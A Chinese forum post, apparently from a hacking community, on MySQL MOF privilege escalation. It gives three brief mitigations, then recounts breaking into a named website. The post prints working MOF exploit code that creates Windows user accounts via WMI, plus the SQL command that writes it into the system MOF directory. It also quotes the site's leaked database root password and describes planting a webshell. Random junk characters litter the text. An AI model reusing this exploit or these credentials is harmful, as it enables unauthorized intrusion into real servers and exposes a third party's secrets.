Mysql mof扩展漏洞防范方法8 G& x \9 Z1 I p6 L3 C! S
5 A2 q. R9 y$ x8 E9 j网上公开的一些利用代码:$ R( B( a7 [+ O2 ^$ y: }
' G v0 z' T$ q# W3 I& \$ t K#pragma namespace(“\\\\.\\root\\subscription”)
) f. x7 ~: F7 }5 s+ P5 C# [$ j5 H; }6 H0 s
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };! w1 U7 _: T: P" X1 I
+ V" j0 M: a2 J5 H3 t0 a7 Y) ?, s
$ k' y; |, z) o% [) p+ I0 Y, }8 s2 V, ?
+ V' o# d1 U6 S' l/ p
5 k+ f, \! k) M, m连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;8 U* \& L/ p+ j
从上面代码来看得出解决办法:
' u+ R0 l/ O: i6 o7 B$ A% `0 ?" x
K' _; M4 L3 y0 u' t6 q/ ~" F/ q1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
& u$ l- _ p s* M- S) L6 }
4 M# U- _1 G# X" s! H2、禁止使用”WScript.Shel”组件
( j/ j4 E: ~9 c& w3 Y0 q7 X
: \1 t, y; ?9 ?( b" ^$ R3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER/ B+ H: m( Y5 I' }
. h. D! o2 ^, H9 E, c1 O
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下. b6 P& r% o/ S* s, ^
; U# q. t+ R2 X5 `2 b$ \7 f
事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权0 t! j" Z9 q& `* M+ a. g4 o
3 N* [, {4 n1 S, u7 u) g但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
1 t: s% v7 O4 a R& ]6 p% @2 Z1 L2 N$ a
看懂了后就开始练手吧- W9 B9 f9 r0 k9 v
/ @ q- Q) r" S9 [http://www.webbmw.com/config/config_ucenter.php 一句话 a X9 ]' G/ c2 X4 b: @ c6 m
4 `' Z& j' X, ~9 l+ ^$ r$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
3 k6 G. [. c( C1 m# c3 m" u3 Y7 c/ n' m# G, @: z
于是直接用菜刀开搞8 ?' Z7 f+ E) ?& \" m
0 U( x8 d8 v. J }上马先+ e6 T' J6 U3 d( F
1 A4 N* D3 c, @/ c既然有了那些账号 之类的 于是我们就执行吧…….
% B) a: I1 w$ b6 @% h
0 i( m8 S2 m7 f0 ]小小的说下
- ]; U' ?" Z, q, k
' A( `, H4 |- K4 R在这里第1次执行未成功 原因未知
; y" X0 u4 _8 ^+ |2 f7 P
6 K8 h+ o9 E' o4 z我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
4 j+ D# n/ O, c' Z/ D( n ^, }, z+ I
#pragma namespace(“\\\\.\\root\\subscription”)
2 a: X3 [, N. i+ q6 K) l, q( O1 Y" Z& X
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
6 F W1 z1 b F: Y' m; D6 t2 y# [: K8 g' O, q
我是将文件放到C:\WINDOWS\temp\1.mof
6 W2 l5 a/ |" Q) B1 O
, s9 A, ]0 e2 g& b+ A* z6 s2 C所以我们就改下执行的代码& u# E: ~1 c5 t
T* g4 v6 y9 S7 D9 S
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;% h* z0 |# Z2 L, t
$ |. K. l2 N9 V7 r- ^! m4 D2 b
I! x3 V' `7 ^* [* e1 P' C6 T [ Y8 r2 l
但是 你会发现账号还是没有躺在那里。。
6 N8 j- H8 _7 g$ y- {/ s# S, r# V/ K- b- S1 x& J
于是我就感觉蛋疼
4 ]0 N* @2 O' b& y, {
, z4 ]( J! p1 @1 U+ k& C9 b就去一个一个去执行 但是执行到第2个 mysql时就成功了………
7 L4 }, R7 J5 v7 f- ]0 _" J: W
9 E' a$ U8 I. I5 V) V* w v& U5 d, @3 h# g+ P- L% w
# B4 L' {. y( I/ z8 m- c
但是其他库均不成功…& i2 {! c; X, [8 p! _
" ?% E" e. i- [& h7 D2 B& U我就很费解呀 到底为什么不成功求大牛解答…) L0 n! g. h1 }" V
5 B/ {8 e' d# J i' X( B2 [, i
! d% b9 {' v! j& u5 H; N* v
8 ]4 V6 ^: [4 w, Z O- ? |